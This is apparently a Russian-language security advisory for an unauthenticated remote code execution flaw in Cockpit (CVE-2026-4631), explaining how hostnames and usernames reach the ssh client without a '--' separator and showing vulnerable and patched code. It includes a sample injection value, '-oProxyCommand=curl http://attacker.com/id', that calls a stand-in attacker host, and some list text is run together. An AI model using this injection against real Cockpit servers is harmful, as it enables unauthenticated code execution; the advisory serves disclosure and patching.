
Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH
Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Серьёзность | Критическая (CVSS 9.8) |
| Затронутые версии | Cockpit 327 – 359 |
| Исправлено в | Cockpit 360 |
| CWE | CWE-78: Внедрение команд ОС |
| Требуется аутентификация | НЕТ |
| Сообщил | Jelle van der Waa |
Функция удалённого входа в Cockpit передаёт предоставленные пользователем имена хостов (из пути URL) и имена пользователей (из заголовка Authorization: Basic) напрямую в бинарный файл OpenSSH ssh без какой-либо проверки или очистки.
Неаутентифицированный злоумышленник с сетевым доступом к порту 9090 может сформировать один HTTP-запрос, который:
-oProxyCommand=<cmd>)%r в SSHОбе точки внедрения срабатывают до завершения проверки учётных данных, то есть для этого не требуется действительный вход в систему.

До версии 327 Cockpit использовал специальный бинарный файл на C под названием cockpit-ssh (на основе libssh) для удалённых подключений. Начиная с версии 327, он был заменён на:
python3 -m cockpit.beiboot
который вызывает системный клиент OpenSSH ssh. Это изменение привело к появлению уязвимости, поскольку новый путь кода передаёт управляемые пользователем значения напрямую в ssh без очистки.
-- перед именем хостаSSH-клиент интерпретирует аргументы, начинающиеся с -, как параметры, а не как имя хоста, если перед ними нет разделителя --. Без -- любое имя хоста, начинающееся с -, разбирается как флаг SSH.
Уязвимая конструкция:
ssh [параметры] <имя-хоста> <удалённая-команда>
Безопасная конструкция:
ssh [параметры] -- <имя-хоста> <удалённая-команда>
Ни cockpit-ws (код на C), ни cockpit.beiboot (код на Python) не проверяют и не очищают:
Authorization: Basicargparse (CPython #66623)Известная ошибка CPython приводит к тому, что argparse неправильно обрабатывает аргументы, начинающиеся с - и содержащие пробелы, рассматривая их как позиционные, а не как флаги. Это позволяет имени хоста -oProxyCommand=evil command пройти через разбор аргументов Python и достичь ssh в качестве параметра.
src/cockpit/beiboot.py — Основная точка внедренияЭто самый критичный файл. Функция via_ssh() формирует список аргументов команды SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Сформировать ssh-команду для выполнения `cmd` на `dest`."""
# Разбор необязательного порта из dest (например, "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Удаление квадратных скобок IPv6
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# УЯЗВИМО: Нет '--' перед именем хоста
# Если host = "-oProxyCommand=evil", ssh воспринимает это как параметр
destination = ['-p', port, host]
else:
# УЯЗВИМО: Необработанные данные атакующего передаются напрямую в ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
С dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← параметр cockpit
arg2: -oProxyCommand=curl http://... ← РАЗОБРАН КАК ПАРАМЕТР SSH (не имя хоста)
arg3: python3 -ic '# cockpit-bridge' ← становится "именем хоста" → запускает ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# ИСПРАВЛЕНО: '--' заставляет всё после него быть позиционным
destination = ['-p', port, '--', host]
else:
# ИСПРАВЛЕНО: добавлен разделитель '--'
destination = ['--', dest]
src/ws/cockpitauth.c — Слой C: Извлечение имени хостаЭтот C-файл обрабатывает начальный разбор HTTP-запроса и запускает процесс beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Извлекает всё после "cockpit+=" из пути URL
// Без проверки символов — дефисы, спецсимволы разрешены
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
Возвращённое имя хоста передаётся напрямую как аргумент при запуске beiboot:
// cockpit_ws_ssh_program — шаблон команды запуска
// УЯЗВИМО: имя хоста добавляется без очистки
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// Отсутствие завершающего '--' означает, что имя хоста
// может быть разобрано как флаг Python'овским argparse (CPython #66623)
// ИСПРАВЛЕНО: завершающий '--' гарантирует, что имя хоста всегда позиционное
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Декодирует Authorization: Basic base64(user:password)
// Без проверки 'user' — точки с запятой, спецсимволы разрешены
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' передаётся в учётные данные и в конечном итоге в 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // без очистки
...);
}
vendor/ferny/src/ferny/session.py — Третья точка внедренияВстроенная библиотека ferny (используется для взаимодействия с SSH) имеет то же упущение -- в своём вызове подпроцесса.